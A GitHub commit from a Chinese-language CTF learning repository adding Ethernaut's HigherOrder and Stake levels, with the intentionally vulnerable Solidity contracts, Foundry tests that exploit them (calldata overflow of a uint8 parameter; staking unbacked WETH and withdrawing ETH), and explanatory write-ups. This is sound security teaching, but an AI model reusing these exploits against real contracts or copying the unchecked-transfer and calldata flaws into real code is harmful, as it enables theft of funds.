Skip to content

Commit

Permalink
Merge pull request #28 from Big-Aaron/main
Browse files Browse the repository at this point in the history
HigherOrder and Stake
  • Loading branch information
AmazingAng committed May 10, 2024
2 parents 5a562f9 + e30ba7b commit 0b628df
Show file tree
Hide file tree
Showing 9 changed files with 243 additions and 0 deletions.
2 changes: 2 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -117,6 +117,8 @@ $ forge test -C ./src/Capture_the_Ether/Warmup/Deploy_a_contract -vvv
- **Good Samaritan**: [代码](./src/Ethernaut/Good_Samaritan/GoodSamaritan.t.sol) | [文章](./src/Ethernaut/Good_Samaritan/README.md)
- **Gatekeeper Three**: [代码](./src/Ethernaut/Gatekeeper_Three/GatekeeperThree.t.sol) | [文章](./src/Ethernaut/Gatekeeper_Three/README.md)
- **Switch**: [代码](./src/Ethernaut/Switch/Switch.t.sol) | [文章](./src/Ethernaut/Switch/README.md)
- **HigherOrder**:[代码](./src/Ethernaut/HigherOrder/HigherOrder.t.sol) | [文章](./src/Ethernaut/HigherOrder/README.md)
- **Stake**: [代码](./src/Ethernaut/Stake/Stake.t.sol) | [文章](./src/Ethernaut/Stake/README.md)

## 参考

Expand Down
19 changes: 19 additions & 0 deletions src/Ethernaut/HigherOrder/HigherOrder.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;

contract HigherOrder {
address public commander;

uint256 public treasury;

function registerTreasury(uint8) public {
assembly {
sstore(treasury_slot, calldataload(4))
}
}

function claimLeadership() public {
if (treasury > 255) commander = msg.sender;
else revert("Only members of the Higher Order can become Commander");
}
}
26 changes: 26 additions & 0 deletions src/Ethernaut/HigherOrder/HigherOrder.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;

import "forge-std/Test.sol";
import "./HigherOrderFactory.sol";

contract HigherOrderTest is Test {
HigherOrderFactory factory;
HigherOrder higherOrderInstance;

function setUp() public {
factory = new HigherOrderFactory();
higherOrderInstance = HigherOrder(factory.createInstance(address(this)));
}

function testHigherOrder() public {
(bool success,) =
address(higherOrderInstance).call(abi.encodeWithSignature("registerTreasury(uint8)", type(uint256).max));
require(success, "registerTreasury failed");

higherOrderInstance.claimLeadership();

assertTrue(factory.validateInstance(payable(address(higherOrderInstance)), address(this)));
}
}
17 changes: 17 additions & 0 deletions src/Ethernaut/HigherOrder/HigherOrderFactory.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;

import "../base/Level-06.sol";
import "./HigherOrder.sol";

contract HigherOrderFactory is Level {
function createInstance(address _player) public payable override returns (address) {
_player;
return address(new HigherOrder());
}

function validateInstance(address payable _instance, address _player) public override returns (bool) {
HigherOrder instance = HigherOrder(_instance);
return instance.commander() == _player;
}
}
31 changes: 31 additions & 0 deletions src/Ethernaut/HigherOrder/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
# HigherOrder

## 题目描述

[原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0xd459773f02e53F6e91b0f766e42E495aEf26088F)

目标是使我们的账户地址成为合约中的commander。

## 运行

根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令:

```sh
$ cd WTF-CTF

$ forge test -C src/Ethernaut/HigherOrder -vvvvv
```

## 功能简述

要想改变`commander`变量,只能让`treasury`变量大于255。而改变`treasury`变量只能通过`registerTreasury(uint8)`函数。

`registerTreasury函数`中在改变`treasury`变量时,是直接读取了我们交易调用calldata的第4个字节后的32字节数据。然后将这32字节的数据写入了`treasury`变量所在的插槽。(calldata的前4个字节为函数签名selector)

所以,我们只需调用`registerTreasury函数`,并在`calldata``selector`后拼接`treasury`变量的值(例如,修改为`type(uint256).max`

```solidity
abi.encodeWithSignature("registerTreasury(uint8)", type(uint256).max)
```

虽然`registerTreasury函数`接受的是`uint8`的变量,但是,函数逻辑里却是使用`calldataload`读取了32字节的数据。只需要`calldata`前4个字节的selector正确 ,就可以调用`registerTreasury函数`
41 changes: 41 additions & 0 deletions src/Ethernaut/Stake/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
# Stake

## 题目描述

[原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0xB99f27b94fCc8b9b6fF88e29E1741422DFC06224)

需要达成4个条件

- `Stake` 合约的ETH余额必须大于0。
- `totalStaked` 必须大于 `Stake` 合约的 ETH 余额。
- 我们的账户地址必须为质押者。
- 我们质押的余额必须为 0。

## 运行

根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令:

```sh
$ cd WTF-CTF

$ forge test -C src/Ethernaut/Stake -vvvvv
```

## 功能简述

`Stake`合约接受两种资产的质押,`ETH``WETH`。虽然两种资产在价值上是1:1等价的。但是`WETH``ETH链`原生代币的`ERC20`包装的版本(具体信息可以查看WTF-Solidity的[41节WETH](https://github.com/AmazingAng/WTF-Solidity/blob/main/41_WETH/readme.md))。

但是`Stake`合约中将`ETH``WETH`混为一谈。如果我们质押的是`WETH`,提取的却是`ETH``Stake`合约并没有将 `WETH`兑换为`ETH``Stake`合约某种程度上成为了`ETH`/`WETH`交易对)。

所以,我们质押`WETH`,提取`ETH`。就可以把`Stake`合约的`ETH`全部提取出来。

而且,`Stake`合约在转移质押者的`WETH`代币时,并没有判断转移交易是否成功,所以,我们只需要在`WETH`代币中对`Stake`合约进行授权就好,我们实际有没有`WETH`代币并不重要。

先质押`WETH`,在提取`ETH`,就可以把我们的质押余额清零。

题目的其他两个条件

- `Stake` 合约的ETH余额必须大于0。
- `totalStaked` 必须大于 `Stake` 合约的 ETH 余额。

我们只需不提取完其他账户质押的ETH就好(为了完成题目,我们也可以切换个地址进行质押)。
49 changes: 49 additions & 0 deletions src/Ethernaut/Stake/Stake.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Stake {
uint256 public totalStaked;
mapping(address => uint256) public UserStake;
mapping(address => bool) public Stakers;
address public WETH;

constructor(address _weth) payable {
totalStaked += msg.value;
WETH = _weth;
}

function StakeETH() public payable {
require(msg.value > 0.001 ether, "Don't be cheap");
totalStaked += msg.value;
UserStake[msg.sender] += msg.value;
Stakers[msg.sender] = true;
}

function StakeWETH(uint256 amount) public returns (bool) {
require(amount > 0.001 ether, "Don't be cheap");
(, bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender, address(this)));
require(bytesToUint(allowance) >= amount, "How am I moving the funds honey?");
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered,) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender, address(this), amount));
Stakers[msg.sender] = true;
return transfered;
}

function Unstake(uint256 amount) public returns (bool) {
require(UserStake[msg.sender] >= amount, "Don't be greedy");
UserStake[msg.sender] -= amount;
totalStaked -= amount;
(bool success,) = payable(msg.sender).call{value: amount}("");
return success;
}

function bytesToUint(bytes memory data) internal pure returns (uint256) {
require(data.length >= 32, "Data length must be at least 32 bytes");
uint256 result;
assembly {
result := mload(add(data, 0x20))
}
return result;
}
}
36 changes: 36 additions & 0 deletions src/Ethernaut/Stake/Stake.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;

import "forge-std/Test.sol";
import "./StakeFactory.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

contract StakeTest is Test {
StakeFactory factory;
Stake stakeInstance;

function setUp() public {
factory = new StakeFactory();
stakeInstance = Stake(factory.createInstance(address(this)));
}

function testStake() public {
new Deal{value: 0.0011 ether + 1}(stakeInstance);

ERC20 WETH = ERC20(stakeInstance.WETH());
WETH.approve(address(stakeInstance), type(uint256).max);
uint256 amount = 0.0011 ether;
stakeInstance.StakeWETH(amount);
stakeInstance.Unstake(amount);

assertTrue(factory.validateInstance(payable(address(stakeInstance)), address(this)));
}

receive() external payable {}
}

contract Deal {
constructor(Stake stake) payable {
stake.StakeETH{value: msg.value}();
}
}
22 changes: 22 additions & 0 deletions src/Ethernaut/Stake/StakeFactory.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../base/Level.sol";
import "./Stake.sol";

import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

contract StakeFactory is Level {
address _dweth = address(new ERC20("DummyWETH", "DWETH"));

function createInstance(address _player) public payable override returns (address) {
_player;
return address(new Stake(address(_dweth)));
}

function validateInstance(address payable _instance, address _player) public view override returns (bool) {
Stake instance = Stake(_instance);
return _instance.balance != 0 && instance.totalStaked() > _instance.balance && instance.UserStake(_player) == 0
&& instance.Stakers(_player);
}
}

0 comments on commit 0b628df

Please sign in to comment.